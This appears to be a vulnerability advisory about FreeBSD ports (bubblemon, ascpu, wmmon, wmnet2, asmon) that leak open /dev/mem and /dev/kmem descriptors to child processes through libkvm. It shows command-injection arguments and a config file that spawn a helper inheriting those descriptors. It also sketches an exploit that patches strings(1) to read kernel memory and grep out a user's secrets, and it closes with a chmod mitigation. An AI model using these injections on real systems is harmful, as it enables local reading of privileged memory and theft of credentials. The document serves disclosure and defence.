Пример / Уязвимости / Управление открытыми описателями файлов в FreeBSD Ports libkvm / The latest versions of all five above mentioned FreeBSD ports are vulnerable, the following examples illustrate the problems: bash-2.05a$ bubblemon "dummy&/usr/local/sbin/lsof|grep dummy|grep mem" dummy 688 dim 4r VCHR 2,0 0t0 21146 /dev/mem dummy 688 dim 5r VCHR 2,1 0xc040f54c 21145 /dev/kmem bash-2.05a$ ascpu -exe "dummy&/usr/local/sbin/lsof|grep dummy|grepmem" dummy 650 dim 4r VCHR 2,0 0t0 21146 /dev/mem dummy 650 dim 5r VCHR 2,1 0xc040f54c 21145 /dev/kmem bash-2.05a$ cat .wmmonrc left "/home/dim/dummy" bash-2.05a$ wmmon & [1] 793 bash-2.05a$ Monitoring 5 devices for activity. current stat is :1 bash-2.05a$ /usr/local/sbin/lsof |grep dummy|grep mem dummy 797 dim 3r VCHR 2,0 0t0 21146 /dev/mem dummy 797 dim 4r VCHR 2,1 0xc040f54c 21145 /dev/kmem bash-2.05a$ wmnet2 -e "dummy&/usr/local/sbin/lsof|grep dummy|grep mem" wmnet: using kmem driver to monitor ec0 dummy 584 dim 3r VCHR 2,0 0t0 21146 /dev/mem dummy 584 dim 4r VCHR 2,1 0xc037cb8f 21145 /dev/kmem One possible exploit for these vulnerabilities is to replace getch() in strings(1) with: int getch() { char buf[4]; read(4,buf,1); return buf[0]; } Or a similar less CPU expensive function that reads a character from the /dev/mem file descriptor and execute the following: wmnet2 -e exploit|grep root|grep Charlie Detection: The latest copies of asmon, ascpu, bubblemon, wmmon, and wmnet2 from the FreeBSD ports collection are vulnerable and were tested on 4.6-RELEASE of FreeBSD. According to FreeBSD, all FreeBSD ports that use libkvm prior to and including 4.6.2-RELEASE may also be vulnerable. chmod g-s /path.to/wmnet2